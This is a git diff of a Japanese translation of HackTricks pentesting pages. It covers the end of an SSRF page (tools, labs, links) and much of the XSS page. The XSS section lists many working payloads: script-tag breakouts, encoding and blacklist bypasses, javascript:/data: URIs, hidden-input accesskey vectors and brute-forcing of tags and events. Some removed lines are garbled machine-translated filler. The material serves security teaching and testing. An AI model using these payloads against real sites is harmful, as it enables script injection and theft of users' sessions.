-盲目のSSRFと非盲目のSSRFの違いは、盲目の場合にSSRFリクエストの応答を見ることができないことです。そのため、既知の脆弱性のみを悪用することができるため、悪用がより困難になります。 +ブラインドSSRFと非ブラインドSSRFの違いは、ブラインドではSSRFリクエストのレスポンスを見ることができないことです。そのため、既知の脆弱性のみを悪用することができ、より難しいです。 ### 時間ベースのSSRF -サーバーからの応答の時間をチェックすることで、リソースが存在するかどうかを判断することができるかもしれません(存在するリソースにアクセスするのに存在しないリソースよりも時間がかかる場合があるかもしれません)。 +サーバーからのレスポンスの**時間を確認する**ことで、リソースが存在するかどうかを**知ることが可能**です(存在するリソースにアクセスするのに時間がかかる場合があります)。 -## Cloud SSRF Exploitation +## クラウドSSRFの悪用 -クラウド環境内で実行されているマシンでSSRFの脆弱性を見つけた場合、クラウド環境に関する興味深い情報や資格情報を入手することができるかもしれません。 +クラウド環境内で実行されているマシンでSSRFの脆弱性を見つけた場合、クラウド環境に関する興味深い情報や、さらにはクレデンシャルを取得することができるかもしれません: {% content-ref url="cloud-ssrf.md" %} [cloud-ssrf.md](cloud-ssrf.md) {% endcontent-ref %} -## SSRFの脆弱なプラットフォーム +## SSRF脆弱性のあるプラットフォーム -いくつかの既知のプラットフォームには、SSRFの脆弱性が含まれているか、含まれていたことがあります。詳細は次を参照してください。 +いくつかの既知のプラットフォームにはSSRFの脆弱性が含まれているか、含まれていたことがあります。それらをチェックしてください: {% content-ref url="ssrf-vulnerable-platforms.md" %} [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md) @@ -303,13 +276,13 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) -SSRFの脆弱性を検出および悪用するためのツール +SSRFの脆弱性を検出し、悪用するツール ### [Gopherus](https://github.com/tarunkant/Gopherus) -* [Gopherusに関するブログ記事](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) +* [Gopherusに関するブログ投稿](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) -このツールは、次のためのGopherペイロードを生成します: +このツールは以下のためのGopherペイロードを生成します: * MySQL * PostgreSQL @@ -320,15 +293,15 @@ SSRFの脆弱性を検出および悪用するためのツール ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) -* [SSRFの使用に関するブログ記事](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) +* [SSRF使用に関するブログ投稿](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) -_remote-method-guesser_は、一般的なJava RMIの脆弱性に対して攻撃操作をサポートするJava RMIの脆弱性スキャナです。ほとんどの操作は、リクエストされた操作に対してSSRFペイロードを生成するための`--ssrf`オプションをサポートしています。`--gopher`オプションと一緒に使用すると、直接使用できるgopherペイロードが生成されます。 +_remote-method-guesser_は、最も一般的な_Java RMI_の脆弱性に対する攻撃操作をサポートする_Java RMI_脆弱性スキャナーです。利用可能な操作のほとんどは`--ssrf`オプションをサポートしており、要求された操作のための_SSRF_ペイロードを生成できます。`--gopher`オプションと一緒に使用すると、直接使用可能な_gopher_ペイロードを直接生成できます。 ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) -SSRFに対して脆弱なサーバーを介してクライアントのHTTPトラフィックをトンネリングするために設計されたマルチスレッドのHTTPプロキシサーバー。 +SSRF Proxyは、サーバーサイドリクエストフォージェリ(SSRF)に脆弱なHTTPサーバーを介してクライアントHTTPトラフィックをトンネリングするために設計されたマルチスレッドHTTPプロキシサーバーです。 -### 練習するために +### 練習する {% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %} @@ -336,17 +309,17 @@ SSRFに対して脆弱なサーバーを介してクライアントのHTTPトラ * [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) -* [https://www.invicti -* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする**。 -* **ハッキングのトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** +* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/) + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* **サイバーセキュリティ会社**で働いていますか?**HackTricksに広告を掲載**したいですか?または、**PEASSの最新バージョンにアクセス**したり、HackTricksをPDFで**ダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* [**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを**共有してください。**
- -
- -\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +``` diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index a20a9af95..93ed9e9e0 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,39 +1,39 @@ -# XSS(クロスサイトスクリプティング) +# XSS (クロスサイトスクリプティング) / -**バグバウンティのヒント**:ハッカーによって作成されたプレミアムなバグバウンティプラットフォームである**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報奨金を獲得しましょう! +**バグバウンティのヒント**: **Intigriti**に**登録**しましょう。ハッカーによって作られたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! {% embed url="https://go.intigriti.com/hacktricks" %} ## 方法論 -1. コントロールできる**任意の値**(_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?)がHTMLに**反映**されているか、**JS**コードで使用されているかを確認します。 -2. 反映/使用されている**コンテキスト**を見つけます。 -3. 反映されている場合 -1. 使用できる**シンボル**を確認し、それに応じてペイロードを準備します: -1. **生のHTML**で: -1. 新しいHTMLタグを作成できますか? -2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか? -3. 保護をバイパスできますか? -4. HTMLコンテンツがクライアントサイドのJSエンジン(_AngularJS_、_VueJS_、_Mavo_など)によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できる場合があります。 -5. JSコードを実行するHTMLタグを作成できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)を悪用できる場合があります。 -2. **HTMLタグ**の内部で: -1. 生のHTMLコンテキストに戻ることはできますか? -2. JSコードを実行するために新しいイベント/属性を作成できますか? -3. トラップされている属性はJSの実行をサポートしていますか? -4. 保護をバイパスできますか? -3. **JavaScriptコード**の内部で: -1. ``**タグ、`.js`ファイルの内部、または**`javascript:`**プロトコルを使用した属性の内部に反映されます。 +この場合、入力はHTMLページの**``** タグ間、`.js`ファイル内、または**`javascript:`** プロトコルを使用する属性内に反映されています: -* **``**タグの間に反映されている場合、入力が引用符のいずれかの内部にある場合でも、``を注入してこのコンテキストから脱出することができます。これは、**ブラウザがまずHTMLタグを解析**し、その後コンテンツを解析するため、注入された``タグがHTMLコードの内部にあることに気づかないためです。 -* JSの文字列の内部に反映されている場合で、前のトリックが機能しない場合は、文字列から**脱出**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません): +* **``** タグ間に反映されている場合、入力がどのような引用符の中にあっても、``を注入してこのコンテキストから脱出することができます。これは、**ブラウザーが最初にHTMLタグを解析し**、その後で内容を解析するため、HTMLコード内に注入された``タグが気づかれないためです。 +* 最後のトリックが機能しない場合、反映されているのが**JS文字列内**であれば、文字列から**脱出**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがあると実行されません): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` -* テンプレートリテラルの内部に反映されている場合、`${ ... }`構文を使用してJS式を**埋め込む**ことができます:`` var greetings = `Hello, ${alert(1)}` `` -* **Unicodeエンコード**を使用して**有効なjavascriptコード**を書くことができます: +* テンプレートリテラル内に反映されている場合、`${ ... }`構文を使用してJS式を**埋め込む**ことができます:`` var greetings = `Hello, ${alert(1)}` `` +* **Unicodeエンコード**は**有効なjavascriptコード**を書くために機能します: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` -#### Javascriptのホイスティング +#### Javascript Hoisting -Javascriptのホイスティングは、**使用された後に関数、変数、またはクラスを宣言する**機会を指します。 +Javascript Hoistingは、**使用された後に関数、変数、またはクラスを宣言する機会を指し、宣言されていない変数や関数を使用しているXSSを悪用するシナリオを利用できます。**\ +**詳細については、次のページをご覧ください:** -したがって、**未宣言のオブジェクトの後にJSコードをインジェクト**できるシナリオがある場合、それを宣言することで(エラーをスローする代わりに)構文を**修正**できます。 -```javascript -// The function vulnerableFunction is not defined -vulnerableFunction('test', ''); -// You can define it in your injection to execute JS -//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b -'-alert(1)-''); function vulnerableFunction(a,b){return 1}; +{% content-ref url="js-hoisting.md" %} +[js-hoisting.md](js-hoisting.md) +{% endcontent-ref %} -//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) -test'); function vulnerableFunction(a,b){ return 1 };alert(1) -``` +### Javascript 関数 -```javascript -// If a variable is not defined, you could define it in the injection -// In the following example var a is not defined -function myFunction(a,b){ -return 1 -}; -myFunction(a, '') +いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります**。野生でよく見られる例は、次のようなものです:`?callback=callbackFunc`。 -//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b -test'); var a = 1; alert(1); -``` - -```javascript -// If an undeclared class is used, you cannot declare it AFTER being used -var variable = new unexploitableClass(); - -// But you can actually declare it as a function, being able to fix the syntax with something like: -function unexploitableClass() { -return 1; -} -alert(1); -``` - -```javascript -// Properties are not hoisted -// So the following examples where the 'cookie' attribute doesn´t exist -// cannot be fixed if you can only inject after that code: -test.cookie('leo','INJECTION') -test['cookie','injection'] -``` -詳細については、Javascriptのホイスティングについては次を参照してください:[https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) - -### Javascript関数 - -いくつかのウェブページは、**実行する関数の名前をパラメータとして受け入れる**エンドポイントを持っています。実際によく見かける例は、`?callback=callbackFunc`のようなものです。 - -ユーザーから直接与えられたものが実行されようとしているかどうかを確認する良い方法は、パラメータの値を変更して(例えば 'Vulnerable'に変更して)コンソールでエラーを探すことです: +ユーザーが直接提供したものが実行しようとしているかどうかを知る良い方法は、**パラメータ値を変更すること**(例えば 'Vulnerable' に)で、エラーがコンソールに表示されるかどうかを確認することです: ![](<../../.gitbook/assets/image (651) (2).png>) -脆弱性がある場合、値を送信するだけで**アラートをトリガー**することができる可能性があります:**`?callback=alert(1)`**。ただし、これらのエンドポイントでは、文字、数字、ドット、アンダースコアのみを許可するようにコンテンツを**検証する**ことが非常に一般的です(**`[\w\._]`**)。 +もし脆弱であれば、**`?callback=alert(1)`** の値を送信するだけで **アラートをトリガー** することができるかもしれません。しかし、このエンドポイントは通常、文字、数字、ドット、アンダースコア(**`[\w\._]`**)のみを許可するために**内容を検証**します。 -ただし、その制限があっても、いくつかのアクションを実行することは可能です。これは、有効な文字を使用してDOM内の任意の要素に**アクセス**することができるためです: +それでも、その制限があってもいくつかのアクションを実行することは可能です。これは、有効な文字を使用して **DOM内の任意の要素にアクセス** できるためです: ![](<../../.gitbook/assets/image (662).png>) -これに役立ついくつかの関数: +これに役立つ関数は次のとおりです: ``` firstElementChild lastElementChild @@ -151,11 +112,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -あなたは直接**Javascriptの関数をトリガー**することも試すことができます:`obj.sales.delOrders`。 +以下は、直接**Javascript関数をトリガー**する試みです: `obj.sales.delOrders`。 -ただし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。**同じオリジンの他のページ**には、より興味深いDOMがあり、より多くのアクションを実行できます。 +しかし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。**同じオリジンの他のページ**には、より多くのアクションを実行するための**より興味深いDOM**があります。 -したがって、異なるDOMでこの脆弱性を**悪用するために**、**Same Origin Method Execution (SOME)** の攻撃手法が開発されました: +したがって、**異なるDOMでこの脆弱性を悪用する**ために、**Same Origin Method Execution (SOME)** の悪用が開発されました: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) @@ -163,7 +124,7 @@ parentElement ### DOM -**JSコード**が、`location.href`のような**攻撃者によって制御されるデータ**を**安全に使用していない**場合があります。攻撃者はこれを悪用して任意のJSコードを実行することができます。 +**JSコード**が攻撃者によって制御されたデータを**安全でない**方法で使用しています。例えば `location.href` のような。攻撃者はこれを悪用して任意のJSコードを実行する可能性があります。 {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) @@ -171,8 +132,8 @@ parentElement ### **Universal XSS** -この種のXSSは**どこにでも**見つけることができます。これらは単にWebアプリケーションのクライアントの脆弱性に依存するのではなく、**どんな****コンテキスト**にも依存します。この種の**任意のJavaScript実行**は、RCEを取得したり、クライアントやサーバーで**任意の****ファイル**を**読み取る**ことさえできます。\ -いくつかの**例**: +この種のXSSは**どこにでも**見つかる可能性があります。これらはクライアントがWebアプリケーションを悪用するだけでなく、**任意の** **コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーで**任意の** **ファイル**を**読む**など、さらに悪用される可能性があります。\ +いくつかの**例**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) @@ -186,31 +147,31 @@ parentElement ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) -## 生のHTML内に注入する +## 生HTML内への注入 -入力がHTMLページ内に**反映**される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、**最初に**やるべきことは、`<`を使用して新しいタグを作成できるかどうかを確認することです:単にその**文字**を**反映**させ、それが**HTMLエンコード**されるか、**削除**されるか、または**変更なしで反映**されるかを確認します。**最後の場合にのみ、このケースを悪用することができます**。\ -この場合、およびブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます: +入力が**HTMLページ内で反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、**最初に**行うべきことは、`<`を使用して新しいタグを作成できるかどうかを確認することです。その**文字**が**HTMLエンコードされている**か、**削除されている**か、または**変更なしに反映されている**かを確認するために、単に**反映**してみてください。**最後のケースのみがこのケースを悪用できます**。\ +この場合も、[**Client Side Template Injection**](../client-side-template-injection-csti.md)を**念頭に置いてください**。\ +_**注: HTMLコメントは**** ****`-->`**** ****または**** ****`--!>`**_ を使用して閉じることができます。 + +この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます: ```javascript ``` -しかし、タグ/属性のブラックリスト/ホワイトリストが使用されている場合、作成できる**どのタグをブルートフォースするか**を特定する必要があります。\ -許可されているタグが**どれかを特定**したら、見つかった有効なタグ内の属性/イベントをブルートフォースして、どのようにコンテキストを攻撃できるかを確認する必要があります。 - ### タグ/イベントのブルートフォース -[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)にアクセスし、_**Copy tags to clipboard**_ をクリックします。次に、Burp Intruderを使用してすべてのタグを送信し、WAFによって悪意のあるタグとして検出されなかったかどうかを確認します。使用できるタグがわかったら、有効なタグを使用してすべてのイベントを**ブルートフォース**します(同じウェブページで _**Copy events to clipboard**_ をクリックし、前と同じ手順を実行します)。 +[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) にアクセスし、_**クリップボードにタグをコピー**_ をクリックします。その後、Burp Intruderを使用してすべてを送信し、WAFによって悪意のあるものとして検出されなかったタグがあるかどうかを確認します。使用できるタグが見つかったら、有効なタグを使用して **すべてのイベントをブルートフォース** できます(同じウェブページで _**クリップボードにイベントをコピー**_ をクリックし、前と同じ手順を実行します)。 ### カスタムタグ -有効なHTMLタグが見つからなかった場合、カスタムタグを作成して`onfocus`属性でJSコードを実行することができます。XSSリクエストでは、URLの末尾に`#`を付けてページが**そのオブジェクトにフォーカス**し、コードを**実行**するようにする必要があります。 +有効なHTMLタグが見つからない場合は、カスタムタグを **作成して** `onfocus` 属性でJSコードを実行することができます。XSSリクエストでは、URLの最後に `#` を付けてページにそのオブジェクトに **フォーカス** し、コードを **実行** させる必要があります: ``` /?search=#x ``` -### ブラックリスト回避 +### ブラックリストバイパス -もしブラックリストが使用されている場合、いくつかの愚かなトリックを使って回避することができます。 +何らかのブラックリストが使用されている場合、いくつかの簡単なトリックでバイパスを試みることができます: ```javascript //Random capitalization

XSS

XSS

@@ -315,16 +264,16 @@ To prevent style events XSS attacks, it is important to properly validate and sa #moving your mouse anywhere over the page (0-click-ish):
``` -### 属性内部で +### 属性内部 -属性から**エスケープすることができなくても**(`"`がエンコードされたり削除されたりする)、**どの属性**に値が反映されるかによって、値を完全に制御するか一部のみ制御するかによって、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御できる場合、クリックされたときに任意のコードを実行することができます。\ -もう一つの興味深い**例**は、`href`属性です。ここでは、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`** +属性から**脱出できない場合**でも(`"`がエンコードされたり削除されたりしている場合)、**どの属性に**値が反映されているか、また、値の全てを制御しているのか一部だけを制御しているのかによって、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\ +もう一つの興味深い**例**は`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行することができます:**`href="javascript:alert(1)"`** **HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス** -HTMLタグの属性の値内部の**HTMLエンコードされた文字**は、実行時に**デコード**されます。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`Go Back ` +HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、以下のようなものが有効になります(ペイロードは太字です):`Go Back ` -**どの種類のHTMLエンコードでも有効**であることに注意してください: +**あらゆる種類のHTMLエンコードが有効である**ことに注意してください: ```javascript //HTML entities '-alert(1)-' @@ -341,46 +290,19 @@ HTMLタグの属性の値内部の**HTMLエンコードされた文字**は、 a a ``` -**URLエンコードも機能します。** +**URLエンコードも機能することに注意してください:** ```python Click ``` -**Unicodeエンコードを使用して内部イベントをバイパスする方法** - ---- - -## 概要 - -このテクニックでは、Unicodeエンコードを使用して内部イベントをバイパスし、クロスサイトスクリプティング(XSS)攻撃を実行します。内部イベントは、HTML要素に直接埋め込まれたJavaScriptコードであり、ユーザーのブラウザ上で実行されます。このテクニックを使用することで、攻撃者は悪意のあるスクリプトを実行し、ユーザーの情報を盗むなどの悪影響を与えることができます。 - -## 攻撃手法 - -以下の手順に従って、Unicodeエンコードを使用して内部イベントをバイパスする方法を実行します。 - -1. 攻撃者は、脆弱なウェブアプリケーションの入力フィールドに悪意のあるスクリプトを挿入します。 -2. 悪意のあるスクリプト内の特定の文字をUnicodeエンコードします。これにより、ブラウザはスクリプトを実行せずに表示します。 -3. 攻撃者は、エンコードされたスクリプトを含むリクエストを送信します。 -4. サーバーは、エンコードされたスクリプトを受け取り、ユーザーのブラウザに応答します。 -5. ユーザーのブラウザは、エンコードされたスクリプトを解釈し、実行します。 -6. 悪意のあるスクリプトが実行され、攻撃者はユーザーの情報を盗むなどの悪影響を与えることができます。 - -## 対策方法 - -以下の対策を実施することで、この攻撃手法を防ぐことができます。 - -- 入力検証とエスケープ処理を適切に実施する。 -- クロスサイトスクリプティング(XSS)フィルタリングを実装する。 -- セキュリティパッチやアップデートを定期的に適用する。 - -以上が、Unicodeエンコードを使用して内部イベントをバイパスする方法についての説明です。このテクニックを理解し、適切な対策を実施することで、ウェブアプリケーションのセキュリティを向上させることができます。 +**イベント内のバイパスをUnicodeエンコードを使用して行う** ```javascript //For some reason you can use unicode to encode "alert" but not "(1)" ``` -### 属性内の特殊プロトコル +### 属性内の特別なプロトコル -ここでは、いくつかの場所で**`javascript:`**または**`data:`**のプロトコルを使用して、**任意のJSコードを実行**することができます。一部はユーザーの対話を必要とし、一部は必要ありません。 +そこでは、**`javascript:`** や **`data:`** プロトコルを使用して、任意のJSコードを**実行**することができます。一部はユーザーの操作を必要とし、一部は必要としません。 ```javascript javascript:alert(1) JavaSCript:alert(1) @@ -402,7 +324,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc ``` **これらのプロトコルを注入できる場所** -**一般的に**、`javascript:`プロトコルは、属性`href`を受け入れる**任意のタグ**および属性`src`を受け入れる**ほとんどのタグ**(ただし``は除く)で使用できます。 +**一般的に**、`javascript:` プロトコルは **`href` 属性を受け入れるすべてのタグで使用できます** そして、**`src` 属性を受け入れるタグのほとんどで使用できます**(ただし ` @@ -422,23 +344,25 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc //https://github.com/evilcos/xss.swf ``` -注意してください。`URLエンコード + HTMLエンコード`を任意の順序で使用しても、**ペイロード**をエンコードすることはできませんが、**ペイロード内でそれらを混在させることはできます**。 +```markdown +**両方を使用しようとすると** `URLencode + HTMLencode` をどの順番でエンコードしても **ペイロード** は**機能しません**が、ペイロードの**内部で混在させることは可能です**。 -**`javascript:`を使用した16進数と8進数のエンコード** +**`javascript:` での Hex と Octal エンコードの使用** -少なくとも`iframe`の`src`属性内で、**HTMLタグを実行するために16進数と8進数のエンコード**を使用することができます。 +`iframe` の `src` 属性内で **Hex** と **Octal エンコード** を使用して **HTML タグを宣言し、JS を実行する** ことができます: +``` ```javascript //Encoded: // This WORKS @@ -451,27 +375,19 @@ _**この場合、前のセクションで説明したHTMLエンコーディン ``` ### リバースタブナビング - -Reverse tab nabbing(リバースタブナビング)は、ウェブアプリケーションの脆弱性であり、攻撃者が悪意のあるウェブサイトを作成し、被害者がそのサイトを訪れた際に、被害者のブラウザのタブを別のウェブサイトにリダイレクトする攻撃手法です。 - -この攻撃手法は、被害者が信頼しているウェブサイトにログインしている場合に特に危険です。攻撃者は、被害者のセッション情報を盗み、悪意のある行動を行うことができます。 - -この攻撃を防ぐためには、ウェブアプリケーション開発者は適切なセキュリティ対策を講じる必要があります。例えば、外部のウェブサイトへのリンクを開く際には、リンクの信頼性を確認するなどの対策が有効です。 - -被害者とならないためには、常に信頼できるウェブサイトを利用し、不審なリンクやポップアップに注意することが重要です。また、ブラウザのセキュリティ設定を適切に行い、定期的なアップデートを行うことも推奨されます。 ```javascript //No safari @@ -486,14 +402,14 @@ Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` -### "Unexploitable tags"(hidden input、link、canonical、meta)におけるXSS +### "利用できないタグ"におけるXSS(hidden input、link、canonical、meta) -[**こちら**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags)から、**隠し入力を悪用することが可能になりました。** +[**こちら**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags)から、**hidden inputsを悪用することが可能になりました:** ```html @@ -501,65 +417,65 @@ Android: %09 %20 %28 %2C %3B
Newsletter popup
``` -[**ここ**](https://portswigger.net/research/xss-in-hidden-input-fields)から:**隠し属性内でXSSペイロードを実行**することができます。ただし、**被害者**に**キーの組み合わせ**を押させる必要があります。Firefox Windows/Linuxでは、キーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定することもできます。以下はベクトルです: +```markdown +[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: 隠された属性内で**XSSペイロードを実行**することができます。そのためには、**被害者**に**キーの組み合わせ**を押させることを**説得**する必要があります。Firefox Windows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。access key属性で異なるキーを使用することで、異なるキーの組み合わせを指定することができます。こちらがベクターです: +``` ```markup ``` **XSSペイロードは次のようになります:`" accesskey="x" onclick="alert(1)" x="`** -### ブラックリストの回避方法 +### ブラックリストバイパス -このセクションでは、さまざまなエンコーディングを使用したトリックがすでに公開されています。次の場所で使用できる場所を学ぶために**戻ってください:** +このセクション内ですでにさまざまなエンコーディングを使用したトリックが公開されています。**戻って、以下の使用方法を学びましょう:** * **HTMLエンコーディング(HTMLタグ)** -* **Unicodeエンコーディング(有効なJSコードになる場合):** `\u0061lert(1)` +* **Unicodeエンコーディング(有効なJSコードになり得る):** `\u0061lert(1)` * **URLエンコーディング** * **16進数および8進数エンコーディング** * **データエンコーディング** -**HTMLタグと属性の回避方法** +**HTMLタグと属性のバイパス** -[前のセクションのブラックリスト回避方法](./#blacklist-bypasses)を読んでください。 +[前のセクションのブラックリストバイパス](./#blacklist-bypasses)を読む。 -**JavaScriptコードの回避方法** +**JavaScriptコードのバイパス** -[次のセクションのJavaScriptブラックリスト回避方法](./#javascript-bypass-blacklists-techniques)を読んでください。 +[次のセクションのJavaScriptバイパスブラックリスト](./#javascript-bypass-blacklists-techniques)を読む。 -### CSS-Gadgets +### CSSガジェット -もしウェブの非常に小さな部分でXSSを見つけた場合(たとえば、フッターの小さなリンクにonmouseover要素が必要な場合)、要素が占めるスペースを変更してリンクが発火する可能性を最大化することができます。 +もし**XSSを非常に小さな部分**で見つけた場合、何らかのインタラクションが必要な場合(例えば、onmouseover要素を持つフッターの小さなリンク)、その要素が占めるスペースを**変更してリンクが発火する確率を最大化**することができます。 -例えば、次のように要素にスタイリングを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` +例えば、次のようなスタイリングを要素に追加できます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` -しかし、もしWAFがstyle属性をフィルタリングしている場合、CSS Styling Gadgetsを使用することができます。例えば、次のようなものを見つけた場合: +しかし、WAFがstyle属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、 > .test {display:block; color: blue; width: 100%\} -および +と > \#someid {top: 0; font-family: Tahoma;} -今、リンクを修正して次の形式にすることができます: +が見つかった場合、リンクを次の形に変更できます > \
-このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取得されました。 +このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取られました。 ## JavaScriptコード内への注入 -この場合、**入力**は`.js`ファイルのJSコード内、または``タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間に**反映**されます。 +これらのケースでは、**入力**が`.js`ファイルのJSコード内や``タグの間、またはJSコードを実行できるHTMLイベントや`javascript:`プロトコルを受け入れる属性の間で**反映される**ことになります。 ### \`内に挿入されている場合、簡単に\`内に挿入されている場合、` ``` -注意してください、この例では**シングルクォートを閉じていません**が、それは必要ありません。なぜなら、**ブラウザはまずHTMLパースを実行**してスクリプトのブロックを含むページ要素を識別し、その後にJavaScriptパースを実行して埋め込まれたスクリプトを理解して実行するからです。 +### JSコード内 -### JSコード内部 - 